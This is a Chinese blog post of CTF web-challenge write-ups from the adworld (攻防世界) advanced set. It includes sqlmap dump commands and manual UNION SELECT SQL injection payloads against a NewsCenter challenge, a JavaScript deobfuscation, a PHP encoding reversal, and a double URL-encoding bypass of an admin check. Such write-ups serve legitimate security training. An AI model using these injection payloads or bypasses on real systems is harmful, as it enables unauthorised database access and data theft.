攻防世界web解题[进阶](三)


介绍:记录解题过程

8.NewsCenter(sql注入)

.NewsCenter

题目描述:如题目环境报错,稍等片刻刷新即可

  • 首页
    在这里插入图片描述

<1>.使用Sqlmap

[1].sqlmap爆当前数据库信息

python sqlmap.py -r MyFile/bf.txt --current-db
  • 用sqlmap爆出库名:news
current database: 'news'

[2].sqlmap.列出指定数据库所有的表名

python sqlmap.py -r MyFile/bf.txt -D news --tables
  • 用sqlmap爆出表名:news,secret_table
Database: news
[2 tables]
+--------------+
| news         |
| secret_table |
+--------------+

[3].sqlmap 列出指定表名的所有列名

  • 先看news表
python sqlmap.py -r MyFile/bf.txt -D news  -T news --columns
  • 用sqlmap爆出列名,这个表就是存新闻的
Database: news
Table: news
[3 columns]
+---------+------------------+
| Column  | Type             |
+---------+------------------+
| content | text             |
| id      | int(10) unsigned |
| title   | varchar(50)      |
+---------+------------------+
  • 再看secret_table表
python sqlmap.py -r MyFile/bf.txt -D news  -T secret_table --columns
  • 用sqlmap爆出列名:fl4g ,就是他
Database: news
Table: secret_table
[2 columns]
+--------+------------------+
| Column | Type             |
+--------+------------------+
| fl4g   | varchar(50)      |
| id     | int(10) unsigned |
+--------+------------------+

[4].sqlmap 打印输出表名指定列名字段的值数据

python sqlmap.py -r MyFile/bf.txt -D news  -T secret_table -C fl4g --dump
  • 得到flag
Database: news
Table: secret_table
[1 entry]
+--------------------------+
| fl4g                     |
+--------------------------+
| QCTF{sq1_inJec7ion_ezzz} |
+--------------------------+

<2>.手工注入

[1].判断注入类型

  • 没有回显,先用字符型注入试试

[2].爆当前数据库信息

1union select 1,2,database()#
  • 回显
2
news

[3].通过库名获取表名

1' union select 1,2,table_name from information_schema.tables where table_schema=‘news’#
  • 回显
2
news     
2    
secret_table 

[4].通过表名获取字段名:

1' union select 1,2,column_name from information_schema.columns
where table_name=‘secret_table’#
  • 回显
2
fl4g
2
id 

[5].最后通过字段名获取flag

1' union select 1,id,fl4g from secret_table#
  • 回显
1
QCTF{sq1_inJec7ion_ezzz}

9.NaNNaNNaNNaN-Batman(得源码,删过滤)

题目描述:暂无
题目场景: 暂无
题目附件: 附件1

  • 下载附件1来看
  • 解压后看的是乱码,修改后缀名为.html用浏览器打开
  • 把内容部分执行函数eval修改为alert,弹窗显示正常。
    在这里插入图片描述
  • 代码
function $(){
    var e=document.getElementById("c").value;
    if(e.length==16)
        if(e.match(/^be0f23/)!=null)
            if(e.match(/233ac/)!=null)
                if(e.match(/e98aa$/)!=null)
                    if(e.match(/c7be9/)!=null){
                        var t=["fl","s_a","i","e}"];
                        var n=["a","_h0l","n"];
                        var r=["g{","e","_0"];
                        var i=["it'","_","n"];
                        var s=[t,n,r,i];
                        for(var o=0;o<13;++o){
                            document.write(s[o%4][0]);
                            s[o%4].splice(0,1)
                        }
                    }
                }
                document.write('<input id="c"><button οnclick=$()>Ok</button>');
                delete _
  • 即然源码在我们手上,将限制条件全部删除就能得到flag
  • 将下面删除限制条件后的代码保存为html文件运行即可得到flag
<html>
    <script type="text/javascript">
    var t=["fl","s_a","i","e}"];
    var n=["a","_h0l","n"];
    var r=["g{","e","_0"];
    var i=["it'","_","n"];
    var s=[t,n,r,i];
    for(var o=0;o<13;++o){
        document.write(s[o%4][0]);
        s[o%4].splice(0,1)
    }
    alert(s)
</script >

</html>

  • 得到flag
    在这里插入图片描述

10.web2(解密加密算法)

题目描述:解密

  • 源码
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>
  • 根据提示去解密

  • 这个加密算法非常简单,就是先把所有字符反转(如 abc -> cba),再将所有字符变成ASCII 码值加1后又变回字符(效果就是 a -> b ,c->d…),再对数据进行编码,后面再把所有字符反转,再把每一个字母在字母表中向前移动 13 个字母.

  • 所以假如加密abc,结果就是

  • 源码(详细注释)

<!DOCTYPE html>
<html>
<body>
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function encode($str){
    $_o=strrev($str);//strrev() 函数反转字符串。abc -> cba
    $_ = "";

    for($_0=0;$_0<strlen($_o);$_0++){
        $_c=substr($_o,$_0,1); //截取字符串 $rest = substr ("abcdef", 1, 3); // returns "bcd"
        $__=ord($_c)+1;  //int ord ( string$string)返回字符串 string 第一个字符的 ASCII 码值。该函数是chr()的互补函数。
        $_c=chr($__);  //返回相对应于 $__ 所指定的单个字符
        $_=$_.$_c;
    }
    
	# 使用base64_encode和base64_decode对数据进行编码和解码
    # strrev() 函数反转字符串
    # str_rot13() 函数对字符串执行 ROT13 编码。
    # ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
    # 提示:编码和解码都是由相同的函数完成的。如果您把一个已编码的字符串作为参数,那么将返回原始字符串。
    return str_rot13(strrev(base64_encode($_)));
}
echo encode("abd");
?>
</body>

  • 接下来就是编写解密算法了,解密算法可以由上而上写
  • 解密算法代码:
<!DOCTYPE html>
<html>
<body>
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function dncode($str){
    $str = base64_decode(strrev(str_rot13($str)));
    $_ = "";
    for($_0=0;$_0<strlen($str);$_0++){
        $_c=substr($str,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    return strrev($_);
}
echo dncode($miwen);
?>
</body>
</html>
  • flag:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

11.PHP2

题目描述:暂无

  • 首页
Can you anthenticate to this website?
你能复制到这个网站吗?
  • index.phps存在源码泄露:
<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?
  • 这里要绕过第一个if判断进入第二个if
    将 admin经过两次url编码即可:
admin
%61%64%6d%69%6e
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
  • flag
cyberpeace{e4c6f42874dd488d9b7b79b7d1026ec6}
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值